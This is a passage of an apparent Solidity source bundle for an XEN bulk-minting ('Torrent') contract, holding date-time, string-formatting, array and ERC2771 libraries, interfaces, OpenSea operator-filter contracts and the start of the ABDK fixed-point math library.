"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nlibrary FormattedStrings {\n /**\n * @dev Converts a `uint256` to its ASCII `string` decimal representation.\n Base on OpenZeppelin `toString` method from `String` library\n */\n function toFormattedString(uint256 value) internal pure returns (string memory) {\n // Inspired by OraclizeAPI's implementation - MIT licence\n // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol\n\n if (value == 0) {\n return \"0\";\n }\n uint256 temp = value;\n uint256 digits;\n while (temp != 0) {\n digits++;\n temp /= 10;\n }\n uint256 pos;\n uint256 comas = digits / 3;\n digits = digits + (digits % 3 == 0 ? comas - 1 : comas);\n bytes memory buffer = new bytes(digits);\n while (value != 0) {\n digits -= 1;\n if (pos == 3) {\n buffer[digits] = \",\";\n pos = 0;\n } else {\n buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));\n value /= 10;\n pos++;\n }\n }\n return string(buffer);\n }\n}\n"
},
"/contracts/libs/ERC2771Context.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (metatx/ERC2771Context.sol)\n\npragma solidity ^0.8.10;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\";\n\n/**\n * @dev Context variant with ERC2771 support.\n */\nabstract contract ERC2771Context is Context {\n /// @custom:oz-upgrades-unsafe-allow state-variable-immutable\n // one-time settable var\n address internal _trustedForwarder;\n\n /// @custom:oz-upgrades-unsafe-allow constructor\n constructor(address trustedForwarder) {\n _trustedForwarder = trustedForwarder;\n }\n\n function isTrustedForwarder(address forwarder) public view virtual returns (bool) {\n return forwarder == _trustedForwarder;\n }\n\n function _msgSender() internal view virtual override returns (address sender) {\n if (isTrustedForwarder(msg.sender)) {\n // The assembly code is more direct than the Solidity version using `abi.decode`.\n /// @solidity memory-safe-assembly\n assembly {\n sender := shr(96, calldataload(sub(calldatasize(), 20)))\n }\n } else {\n return super._msgSender();\n }\n }\n\n function _msgData() internal view virtual override returns (bytes calldata) {\n if (isTrustedForwarder(msg.sender)) {\n return msg.data[:msg.data.length - 20];\n } else {\n return super._msgData();\n }\n }\n}\n"
},
"/contracts/libs/DateTime.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"@openzeppelin/contracts/utils/Strings.sol\";\nimport \"./BokkyPooBahsDateTimeLibrary.sol\";\n\n/*\n @dev Library to convert epoch timestamp to a human-readable Date-Time string\n @dependency uses BokkyPooBahsDateTimeLibrary.sol library internally\n */\nlibrary DateTime {\n using Strings for uint256;\n\n bytes public constant MONTHS = bytes(\"JanFebMarAprMayJunJulAugSepOctNovDec\");\n\n /**\n * @dev returns month as short (3-letter) string\n */\n function monthAsString(uint256 idx) internal pure returns (string memory) {\n require(idx > 0, \"bad idx\");\n bytes memory str = new bytes(3);\n uint256 offset = (idx - 1) * 3;\n str[0] = bytes1(MONTHS[offset]);\n str[1] = bytes1(MONTHS[offset + 1]);\n str[2] = bytes1(MONTHS[offset + 2]);\n return string(str);\n }\n\n /**\n * @dev returns string representation of number left-padded for 2 symbols\n */\n function asPaddedString(uint256 n) internal pure returns (string memory) {\n if (n == 0) return \"00\";\n if (n < 10) return string.concat(\"0\", n.toString());\n return n.toString();\n }\n\n /**\n * @dev returns string of format 'Jan 01, 2022 18:00 UTC' for a given timestamp\n */\n function asString(uint256 ts) external pure returns (string memory) {\n (uint256 year, uint256 month, uint256 day, uint256 hour, uint256 minute, ) = BokkyPooBahsDateTimeLibrary\n .timestampToDateTime(ts);\n return\n string(\n abi.encodePacked(\n monthAsString(month),\n \" \",\n day.toString(),\n \", \",\n year.toString(),\n \" \",\n asPaddedString(hour),\n \":\",\n asPaddedString(minute),\n \" UTC\"\n )\n );\n }\n\n /**\n * @dev returns (year, month as string) components of a date by timestamp\n */\n function yearAndMonth(uint256 ts) external pure returns (uint256, string memory) {\n (uint256 year, uint256 month, , , , ) = BokkyPooBahsDateTimeLibrary.timestampToDateTime(ts);\n return (year, monthAsString(month));\n }\n}\n"
},
"/contracts/libs/BokkyPooBahsDateTimeLibrary.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\n// ----------------------------------------------------------------------------\n// BokkyPooBah's DateTime Library v1.01\n//\n// A gas-efficient Solidity date and time library\n//\n// https://github.com/bokkypoobah/BokkyPooBahsDateTimeLibrary\n//\n// Tested date range 1970/01/01 to 2345/12/31\n//\n// Conventions:\n// Unit | Range | Notes\n// :-------- |:-------------:|:-----\n// timestamp | >= 0 | Unix timestamp, number of seconds since 1970/01/01 00:00:00 UTC\n// year | 1970 ... 2345 |\n// month | 1 ... 12 |\n// day | 1 ... 31 |\n// hour | 0 ... 23 |\n// minute | 0 ... 59 |\n// second | 0 ... 59 |\n// dayOfWeek | 1 ... 7 | 1 = Monday, ..., 7 = Sunday\n//\n//\n// Enjoy. (c) BokkyPooBah / Bok Consulting Pty Ltd 2018-2019. The MIT Licence.\n// ----------------------------------------------------------------------------\n\nlibrary BokkyPooBahsDateTimeLibrary {\n uint256 constant _SECONDS_PER_DAY = 24 * 60 * 60;\n uint256 constant _SECONDS_PER_HOUR = 60 * 60;\n uint256 constant _SECONDS_PER_MINUTE = 60;\n int256 constant _OFFSET19700101 = 2440588;\n\n uint256 constant _DOW_FRI = 5;\n uint256 constant _DOW_SAT = 6;\n\n // ------------------------------------------------------------------------\n // Calculate the number of days from 1970/01/01 to year/month/day using\n // the date conversion algorithm from\n // https://aa.usno.navy.mil/faq/JD_formula.html\n // and subtracting the offset 2440588 so that 1970/01/01 is day 0\n //\n // days = day\n // - 32075\n // + 1461 * (year + 4800 + (month - 14) / 12) / 4\n // + 367 * (month - 2 - (month - 14) / 12 * 12) / 12\n // - 3 * ((year + 4900 + (month - 14) / 12) / 100) / 4\n // - offset\n // ------------------------------------------------------------------------\n function _daysFromDate(\n uint256 year,\n uint256 month,\n uint256 day\n ) private pure returns (uint256 _days) {\n require(year >= 1970);\n int256 _year = int256(year);\n int256 _month = int256(month);\n int256 _day = int256(day);\n\n int256 __days = _day -\n 32075 +\n (1461 * (_year + 4800 + (_month - 14) / 12)) /\n 4 +\n (367 * (_month - 2 - ((_month - 14) / 12) * 12)) /\n 12 -\n (3 * ((_year + 4900 + (_month - 14) / 12) / 100)) /\n 4 -\n _OFFSET19700101;\n\n _days = uint256(__days);\n }\n\n // ------------------------------------------------------------------------\n // Calculate year/month/day from the number of days since 1970/01/01 using\n // the date conversion algorithm from\n // http://aa.usno.navy.mil/faq/docs/JD_Formula.php\n // and adding the offset 2440588 so that 1970/01/01 is day 0\n //\n // int L = days + 68569 + offset\n // int N = 4 * L / 146097\n // L = L - (146097 * N + 3) / 4\n // year = 4000 * (L + 1) / 1461001\n // L = L - 1461 * year / 4 + 31\n // month = 80 * L / 2447\n // dd = L - 2447 * month / 80\n // L = month / 11\n // month = month + 2 - 12 * L\n // year = 100 * (N - 49) + year + L\n // ------------------------------------------------------------------------\n function _daysToDate(uint256 _days)\n private\n pure\n returns (\n uint256 year,\n uint256 month,\n uint256 day\n )\n {\n int256 __days = int256(_days);\n\n int256 L = __days + 68569 + _OFFSET19700101;\n int256 N = (4 * L) / 146097;\n L = L - (146097 * N + 3) / 4;\n int256 _year = (4000 * (L + 1)) / 1461001;\n L = L - (1461 * _year) / 4 + 31;\n int256 _month = (80 * L) / 2447;\n int256 _day = L - (2447 * _month) / 80;\n L = _month / 11;\n _month = _month + 2 - 12 * L;\n _year = 100 * (N - 49) + _year + L;\n\n year = uint256(_year);\n month = uint256(_month);\n day = uint256(_day);\n }\n\n function timestampFromDate(\n uint256 year,\n uint256 month,\n uint256 day\n ) internal pure returns (uint256 timestamp) {\n timestamp = _daysFromDate(year, month, day) * _SECONDS_PER_DAY;\n }\n\n function timestampFromDateTime(\n uint256 year,\n uint256 month,\n uint256 day,\n uint256 hour,\n uint256 minute,\n uint256 second\n ) internal pure returns (uint256 timestamp) {\n timestamp =\n _daysFromDate(year, month, day) *\n _SECONDS_PER_DAY +\n hour *\n _SECONDS_PER_HOUR +\n minute *\n _SECONDS_PER_MINUTE +\n second;\n }\n\n function timestampToDate(uint256 timestamp)\n internal\n pure\n returns (\n uint256 year,\n uint256 month,\n uint256 day\n )\n {\n (year, month, day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n }\n\n function timestampToDateTime(uint256 timestamp)\n internal\n pure\n returns (\n uint256 year,\n uint256 month,\n uint256 day,\n uint256 hour,\n uint256 minute,\n uint256 second\n )\n {\n (year, month, day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n uint256 secs = timestamp % _SECONDS_PER_DAY;\n hour = secs / _SECONDS_PER_HOUR;\n secs = secs % _SECONDS_PER_HOUR;\n minute = secs / _SECONDS_PER_MINUTE;\n second = secs % _SECONDS_PER_MINUTE;\n }\n\n function isValidDate(\n uint256 year,\n uint256 month,\n uint256 day\n ) internal pure returns (bool valid) {\n if (year >= 1970 && month > 0 && month <= 12) {\n uint256 daysInMonth = _getDaysInMonth(year, month);\n if (day > 0 && day <= daysInMonth) {\n valid = true;\n }\n }\n }\n\n function isValidDateTime(\n uint256 year,\n uint256 month,\n uint256 day,\n uint256 hour,\n uint256 minute,\n uint256 second\n ) internal pure returns (bool valid) {\n if (isValidDate(year, month, day)) {\n if (hour < 24 && minute < 60 && second < 60) {\n valid = true;\n }\n }\n }\n\n function isLeapYear(uint256 timestamp) internal pure returns (bool leapYear) {\n (uint256 year, , ) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n leapYear = _isLeapYear(year);\n }\n\n function _isLeapYear(uint256 year) private pure returns (bool leapYear) {\n leapYear = ((year % 4 == 0) && (year % 100 != 0)) || (year % 400 == 0);\n }\n\n function isWeekDay(uint256 timestamp) internal pure returns (bool weekDay) {\n weekDay = getDayOfWeek(timestamp) <= _DOW_FRI;\n }\n\n function isWeekEnd(uint256 timestamp) internal pure returns (bool weekEnd) {\n weekEnd = getDayOfWeek(timestamp) >= _DOW_SAT;\n }\n\n function getDaysInMonth(uint256 timestamp) internal pure returns (uint256 daysInMonth) {\n (uint256 year, uint256 month, ) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n daysInMonth = _getDaysInMonth(year, month);\n }\n\n function _getDaysInMonth(uint256 year, uint256 month) private pure returns (uint256 daysInMonth) {\n if (month == 1 || month == 3 || month == 5 || month == 7 || month == 8 || month == 10 || month == 12) {\n daysInMonth = 31;\n } else if (month != 2) {\n daysInMonth = 30;\n } else {\n daysInMonth = _isLeapYear(year) ? 29 : 28;\n }\n }\n\n // 1 = Monday, 7 = Sunday\n function getDayOfWeek(uint256 timestamp) internal pure returns (uint256 dayOfWeek) {\n uint256 _days = timestamp / _SECONDS_PER_DAY;\n dayOfWeek = ((_days + 3) % 7) + 1;\n }\n\n function getYear(uint256 timestamp) internal pure returns (uint256 year) {\n (year, , ) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n }\n\n function getMonth(uint256 timestamp) internal pure returns (uint256 month) {\n (, month, ) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n }\n\n function getDay(uint256 timestamp) internal pure returns (uint256 day) {\n (, , day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n }\n\n function getHour(uint256 timestamp) internal pure returns (uint256 hour) {\n uint256 secs = timestamp % _SECONDS_PER_DAY;\n hour = secs / _SECONDS_PER_HOUR;\n }\n\n function getMinute(uint256 timestamp) internal pure returns (uint256 minute) {\n uint256 secs = timestamp % _SECONDS_PER_HOUR;\n minute = secs / _SECONDS_PER_MINUTE;\n }\n\n function getSecond(uint256 timestamp) internal pure returns (uint256 second) {\n second = timestamp % _SECONDS_PER_MINUTE;\n }\n\n function addYears(uint256 timestamp, uint256 _years) internal pure returns (uint256 newTimestamp) {\n (uint256 year, uint256 month, uint256 day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n year += _years;\n uint256 daysInMonth = _getDaysInMonth(year, month);\n if (day > daysInMonth) {\n day = daysInMonth;\n }\n newTimestamp = _daysFromDate(year, month, day) * _SECONDS_PER_DAY + (timestamp % _SECONDS_PER_DAY);\n require(newTimestamp >= timestamp);\n }\n\n function addMonths(uint256 timestamp, uint256 _months) internal pure returns (uint256 newTimestamp) {\n (uint256 year, uint256 month, uint256 day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n month += _months;\n year += (month - 1) / 12;\n month = ((month - 1) % 12) + 1;\n uint256 daysInMonth = _getDaysInMonth(year, month);\n if (day > daysInMonth) {\n day = daysInMonth;\n }\n newTimestamp = _daysFromDate(year, month, day) * _SECONDS_PER_DAY + (timestamp % _SECONDS_PER_DAY);\n require(newTimestamp >= timestamp);\n }\n\n function addDays(uint256 timestamp, uint256 _days) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp + _days * _SECONDS_PER_DAY;\n require(newTimestamp >= timestamp);\n }\n\n function addHours(uint256 timestamp, uint256 _hours) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp + _hours * _SECONDS_PER_HOUR;\n require(newTimestamp >= timestamp);\n }\n\n function addMinutes(uint256 timestamp, uint256 _minutes) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp + _minutes * _SECONDS_PER_MINUTE;\n require(newTimestamp >= timestamp);\n }\n\n function addSeconds(uint256 timestamp, uint256 _seconds) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp + _seconds;\n require(newTimestamp >= timestamp);\n }\n\n function subYears(uint256 timestamp, uint256 _years) internal pure returns (uint256 newTimestamp) {\n (uint256 year, uint256 month, uint256 day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n year -= _years;\n uint256 daysInMonth = _getDaysInMonth(year, month);\n if (day > daysInMonth) {\n day = daysInMonth;\n }\n newTimestamp = _daysFromDate(year, month, day) * _SECONDS_PER_DAY + (timestamp % _SECONDS_PER_DAY);\n require(newTimestamp <= timestamp);\n }\n\n function subMonths(uint256 timestamp, uint256 _months) internal pure returns (uint256 newTimestamp) {\n (uint256 year, uint256 month, uint256 day) = _daysToDate(timestamp / _SECONDS_PER_DAY);\n uint256 yearMonth = year * 12 + (month - 1) - _months;\n year = yearMonth / 12;\n month = (yearMonth % 12) + 1;\n uint256 daysInMonth = _getDaysInMonth(year, month);\n if (day > daysInMonth) {\n day = daysInMonth;\n }\n newTimestamp = _daysFromDate(year, month, day) * _SECONDS_PER_DAY + (timestamp % _SECONDS_PER_DAY);\n require(newTimestamp <= timestamp);\n }\n\n function subDays(uint256 timestamp, uint256 _days) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp - _days * _SECONDS_PER_DAY;\n require(newTimestamp <= timestamp);\n }\n\n function subHours(uint256 timestamp, uint256 _hours) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp - _hours * _SECONDS_PER_HOUR;\n require(newTimestamp <= timestamp);\n }\n\n function subMinutes(uint256 timestamp, uint256 _minutes) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp - _minutes * _SECONDS_PER_MINUTE;\n require(newTimestamp <= timestamp);\n }\n\n function subSeconds(uint256 timestamp, uint256 _seconds) internal pure returns (uint256 newTimestamp) {\n newTimestamp = timestamp - _seconds;\n require(newTimestamp <= timestamp);\n }\n\n function diffYears(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _years) {\n require(fromTimestamp <= toTimestamp);\n (uint256 fromYear, , ) = _daysToDate(fromTimestamp / _SECONDS_PER_DAY);\n (uint256 toYear, , ) = _daysToDate(toTimestamp / _SECONDS_PER_DAY);\n _years = toYear - fromYear;\n }\n\n function diffMonths(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _months) {\n require(fromTimestamp <= toTimestamp);\n (uint256 fromYear, uint256 fromMonth, ) = _daysToDate(fromTimestamp / _SECONDS_PER_DAY);\n (uint256 toYear, uint256 toMonth, ) = _daysToDate(toTimestamp / _SECONDS_PER_DAY);\n _months = toYear * 12 + toMonth - fromYear * 12 - fromMonth;\n }\n\n function diffDays(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _days) {\n require(fromTimestamp <= toTimestamp);\n _days = (toTimestamp - fromTimestamp) / _SECONDS_PER_DAY;\n }\n\n function diffHours(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _hours) {\n require(fromTimestamp <= toTimestamp);\n _hours = (toTimestamp - fromTimestamp) / _SECONDS_PER_HOUR;\n }\n\n function diffMinutes(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _minutes) {\n require(fromTimestamp <= toTimestamp);\n _minutes = (toTimestamp - fromTimestamp) / _SECONDS_PER_MINUTE;\n }\n\n function diffSeconds(uint256 fromTimestamp, uint256 toTimestamp) internal pure returns (uint256 _seconds) {\n require(fromTimestamp <= toTimestamp);\n _seconds = toTimestamp - fromTimestamp;\n }\n}\n"
},
"/contracts/libs/Array.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nlibrary Array {\n function idx(uint256[] memory arr, uint256 item) internal pure returns (uint256 i) {\n for (i = 1; i <= arr.length; i++) {\n if (arr[i - 1] == item) {\n return i;\n }\n }\n i = 0;\n }\n\n function addItem(uint256[] storage arr, uint256 item) internal {\n if (idx(arr, item) == 0) {\n arr.push(item);\n }\n }\n\n function removeItem(uint256[] storage arr, uint256 item) internal {\n uint256 i = idx(arr, item);\n if (i > 0) {\n arr[i - 1] = arr[arr.length - 1];\n arr.pop();\n }\n }\n\n function contains(uint256[] memory container, uint256[] memory items) internal pure returns (bool) {\n if (items.length == 0) return true;\n for (uint256 i = 0; i < items.length; i++) {\n bool itemIsContained = false;\n for (uint256 j = 0; j < container.length; j++) {\n itemIsContained = items[i] == container[j];\n }\n if (!itemIsContained) return false;\n }\n return true;\n }\n\n function asSingletonArray(uint256 element) internal pure returns (uint256[] memory) {\n uint256[] memory array = new uint256[](1);\n array[0] = element;\n return array;\n }\n\n function hasDuplicatesOrZeros(uint256[] memory array) internal pure returns (bool) {\n for (uint256 i = 0; i < array.length; i++) {\n if (array[i] == 0) return true;\n for (uint256 j = 0; j < array.length; j++) {\n if (array[i] == array[j] && i != j) return true;\n }\n }\n return false;\n }\n\n function hasRoguesOrZeros(uint256[] memory array) internal pure returns (bool) {\n uint256 _first = array[0];\n for (uint256 i = 0; i < array.length; i++) {\n if (array[i] == 0 || array[i] != _first) return true;\n }\n return false;\n }\n}\n"
},
"/contracts/interfaces/IXENTorrent.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IXENTorrent {\n event StartTorrent(address indexed user, uint256 count, uint256 term);\n event EndTorrent(address indexed user, uint256 tokenId, address to);\n\n function bulkClaimRank(uint256 count, uint256 term) external returns (uint256);\n\n function bulkClaimMintReward(uint256 tokenId, address to) external;\n}\n"
},
"/contracts/interfaces/IXENProxying.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IXENProxying {\n function callClaimRank(uint256 term) external;\n\n function callClaimMintReward(address to) external;\n\n function powerDown() external;\n}\n"
},
"/contracts/interfaces/IERC2771.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IERC2771 {\n function isTrustedForwarder(address forwarder) external;\n}\n"
},
"operator-filter-registry/src/OperatorFilterer.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.13;\n\nimport {IOperatorFilterRegistry} from \"./IOperatorFilterRegistry.sol\";\n\n/**\n * @title OperatorFilterer\n * @notice Abstract contract whose constructor automatically registers and optionally subscribes to or copies another\n * registrant's entries in the OperatorFilterRegistry.\n * @dev This smart contract is meant to be inherited by token contracts so they can use the following:\n * - `onlyAllowedOperator` modifier for `transferFrom` and `safeTransferFrom` methods.\n * - `onlyAllowedOperatorApproval` modifier for `approve` and `setApprovalForAll` methods.\n */\nabstract contract OperatorFilterer {\n error OperatorNotAllowed(address operator);\n\n IOperatorFilterRegistry public constant OPERATOR_FILTER_REGISTRY =\n IOperatorFilterRegistry(0x000000000000AAeB6D7670E522A718067333cd4E);\n\n constructor(address subscriptionOrRegistrantToCopy, bool subscribe) {\n // If an inheriting token contract is deployed to a network without the registry deployed, the modifier\n // will not revert, but the contract will need to be registered with the registry once it is deployed in\n // order for the modifier to filter addresses.\n if (address(OPERATOR_FILTER_REGISTRY).code.length > 0) {\n if (subscribe) {\n OPERATOR_FILTER_REGISTRY.registerAndSubscribe(address(this), subscriptionOrRegistrantToCopy);\n } else {\n if (subscriptionOrRegistrantToCopy != address(0)) {\n OPERATOR_FILTER_REGISTRY.registerAndCopyEntries(address(this), subscriptionOrRegistrantToCopy);\n } else {\n OPERATOR_FILTER_REGISTRY.register(address(this));\n }\n }\n }\n }\n\n modifier onlyAllowedOperator(address from) virtual {\n // Allow spending tokens from addresses with balance\n // Note that this still allows listings and marketplaces with escrow to transfer tokens if transferred\n // from an EOA.\n if (from != msg.sender) {\n _checkFilterOperator(msg.sender);\n }\n _;\n }\n\n modifier onlyAllowedOperatorApproval(address operator) virtual {\n _checkFilterOperator(operator);\n _;\n }\n\n function _checkFilterOperator(address operator) internal view virtual {\n // Check registry code length to facilitate testing in environments without a deployed registry.\n if (address(OPERATOR_FILTER_REGISTRY).code.length > 0) {\n if (!OPERATOR_FILTER_REGISTRY.isOperatorAllowed(address(this), operator)) {\n revert OperatorNotAllowed(operator);\n }\n }\n }\n}\n"
},
"operator-filter-registry/src/IOperatorFilterRegistry.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.13;\n\ninterface IOperatorFilterRegistry {\n function isOperatorAllowed(address registrant, address operator) external view returns (bool);\n function register(address registrant) external;\n function registerAndSubscribe(address registrant, address subscription) external;\n function registerAndCopyEntries(address registrant, address registrantToCopy) external;\n function unregister(address addr) external;\n function updateOperator(address registrant, address operator, bool filtered) external;\n function updateOperators(address registrant, address[] calldata operators, bool filtered) external;\n function updateCodeHash(address registrant, bytes32 codehash, bool filtered) external;\n function updateCodeHashes(address registrant, bytes32[] calldata codeHashes, bool filtered) external;\n function subscribe(address registrant, address registrantToSubscribe) external;\n function unsubscribe(address registrant, bool copyExistingEntries) external;\n function subscriptionOf(address addr) external returns (address registrant);\n function subscribers(address registrant) external returns (address[] memory);\n function subscriberAt(address registrant, uint256 index) external returns (address);\n function copyEntriesOf(address registrant, address registrantToCopy) external;\n function isOperatorFiltered(address registrant, address operator) external returns (bool);\n function isCodeHashOfFiltered(address registrant, address operatorWithCode) external returns (bool);\n function isCodeHashFiltered(address registrant, bytes32 codeHash) external returns (bool);\n function filteredOperators(address addr) external returns (address[] memory);\n function filteredCodeHashes(address addr) external returns (bytes32[] memory);\n function filteredOperatorAt(address registrant, uint256 index) external returns (address);\n function filteredCodeHashAt(address registrant, uint256 index) external returns (bytes32);\n function isRegistered(address addr) external returns (bool);\n function codeHashOf(address addr) external returns (bytes32);\n}\n"
},
"operator-filter-registry/src/DefaultOperatorFilterer.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.13;\n\nimport {OperatorFilterer} from \"./OperatorFilterer.sol\";\n\n/**\n * @title DefaultOperatorFilterer\n * @notice Inherits from OperatorFilterer and automatically subscribes to the default OpenSea subscription.\n */\nabstract contract DefaultOperatorFilterer is OperatorFilterer {\n address constant DEFAULT_SUBSCRIPTION = address(0x3cc6CddA760b79bAfa08dF41ECFA224f810dCeB6);\n\n constructor() OperatorFilterer(DEFAULT_SUBSCRIPTION, true) {}\n}\n"
},
"abdk-libraries-solidity/ABDKMath64x64.sol": {
"content": "// SPDX-License-Identifier: BSD-4-Clause\n/*\n * ABDK Math 64.64 Smart Contract Library. Copyright © 2019 by ABDK Consulting.\n * Author: Mikhail Vladimirov <[email protected]>\n */\npragma solidity ^0.8.0;\n\n/**\n * Smart contract library of mathematical functions operating with signed\n * 64.64-bit fixed point numbers. Signed 64.64-bit fixed point number is\n * basically a simple fraction whose numerator is signed 128-bit integer and\n * denominator is 2^64. As long as denominator is always the same, there is no\n * need to store it, thus in Solidity signed 64.64-bit fixed point numbers are\n * represented by int128 type holding only the numerator.\n */\nlibrary ABDKMath64x64 {\n /*\n * Minimum value signed 64.64-bit fixed point number may have. \n */\n int128 private constant MIN_64x64 = -0x80000000000000000000000000000000;\n\n /*\n * Maximum value signed 64.64-bit fixed point number may have. \n */\n int128 private constant MAX_64x64 = 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\n\n /**\n * Convert signed 256-bit integer number into signed 64.64-bit fixed point\n * number. Revert on overflow.\n *\n * @param x signed 256-bit integer number\n * @return signed 64.64-bit fixed point number\n */\n function fromInt (int256 x) internal pure returns (int128) {\n unchecked {\n require (x >= -0x8000000000000000 && x <= 0x7FFFFFFFFFFFFFFF);\n return int128 (x << 64);\n }\n }\n\n /**\n * Convert signed 64.64 fixed point number into signed 64-bit integer number\n * rounding down.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64-bit integer number\n */\n function toInt (int128 x) internal pure returns (int64) {\n unchecked {\n return int64 (x >> 64);\n }\n }\n\n /**\n * Convert unsigned 256-bit integer number into signed 64.64-bit fixed point\n * number. Revert on overflow.\n *\n * @param x unsigned 256-bit integer number\n * @return signed 64.64-bit fixed point number\n */\n function fromUInt (uint256 x) internal pure returns (int128) {\n unchecked {\n require (x <= 0x7FFFFFFFFFFFFFFF);\n return int128 (int256 (x << 64));\n }\n }\n\n /**\n * Convert signed 64.64 fixed point number into unsigned 64-bit integer\n * number rounding down. Revert on underflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @return unsigned 64-bit integer number\n */\n function toUInt (int128 x) internal pure returns (uint64) {\n unchecked {\n require (x >= 0);\n return uint64 (uint128 (x >> 64));\n }\n }\n\n /**\n * Convert signed 128.128 fixed point number into signed 64.64-bit fixed point\n * number rounding down. Revert on overflow.\n *\n * @param x signed 128.128-bin fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function from128x128 (int256 x) internal pure returns (int128) {\n unchecked {\n int256 result = x >> 64;\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Convert signed 64.64 fixed point number into signed 128.128 fixed point\n * number.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 128.128 fixed point number\n */\n function to128x128 (int128 x) internal pure returns (int256) {\n unchecked {\n return int256 (x) << 64;\n }\n }\n\n /**\n * Calculate x + y. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function add (int128 x, int128 y) internal pure returns (int128) {\n unchecked {\n int256 result = int256(x) + y;\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Calculate x - y. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function sub (int128 x, int128 y) internal pure returns (int128) {\n unchecked {\n int256 result = int256(x) - y;\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Calculate x * y rounding down. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function mul (int128 x, int128 y) internal pure returns (int128) {\n unchecked {\n int256 result = int256(x) * y >> 64;\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Calculate x * y rounding towards zero, where x is signed 64.64 fixed point\n * number and y is signed 256-bit integer number. Revert on overflow.\n *\n * @param x signed 64.64 fixed point number\n * @param y signed 256-bit integer number\n * @return signed 256-bit integer number\n */\n function muli (int128 x, int256 y) internal pure returns (int256) {\n unchecked {\n if (x == MIN_64x64) {\n require (y >= -0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF &&\n y <= 0x1000000000000000000000000000000000000000000000000);\n return -y << 63;\n } else {\n bool negativeResult = false;\n if (x < 0) {\n x = -x;\n negativeResult = true;\n }\n if (y < 0) {\n y = -y; // We rely on overflow behavior here\n negativeResult = !negativeResult;\n }\n uint256 absoluteResult = mulu (x, uint256 (y));\n if (negativeResult) {\n require (absoluteResult <=\n 0x8000000000000000000000000000000000000000000000000000000000000000);\n return -int256 (absoluteResult); // We rely on overflow behavior here\n } else {\n require (absoluteResult <=\n 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n return int256 (absoluteResult);\n }\n }\n }\n }\n\n /**\n * Calculate x * y rounding down, where x is signed 64.64 fixed point number\n * and y is unsigned 256-bit integer number. Revert on overflow.\n *\n * @param x signed 64.64 fixed point number\n * @param y unsigned 256-bit integer number\n * @return unsigned 256-bit integer number\n */\n function mulu (int128 x, uint256 y) internal pure returns (uint256) {\n unchecked {\n if (y == 0) return 0;\n\n require (x >= 0);\n\n uint256 lo = (uint256 (int256 (x)) * (y & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF)) >> 64;\n uint256 hi = uint256 (int256 (x)) * (y >> 128);\n\n require (hi <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n hi <<= 64;\n\n require (hi <=\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF - lo);\n return hi + lo;\n }\n }\n\n /**\n * Calculate x / y rounding towards zero. Revert on overflow or when y is\n * zero.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y signed 64.64-bit fixed point number\n * @return signed 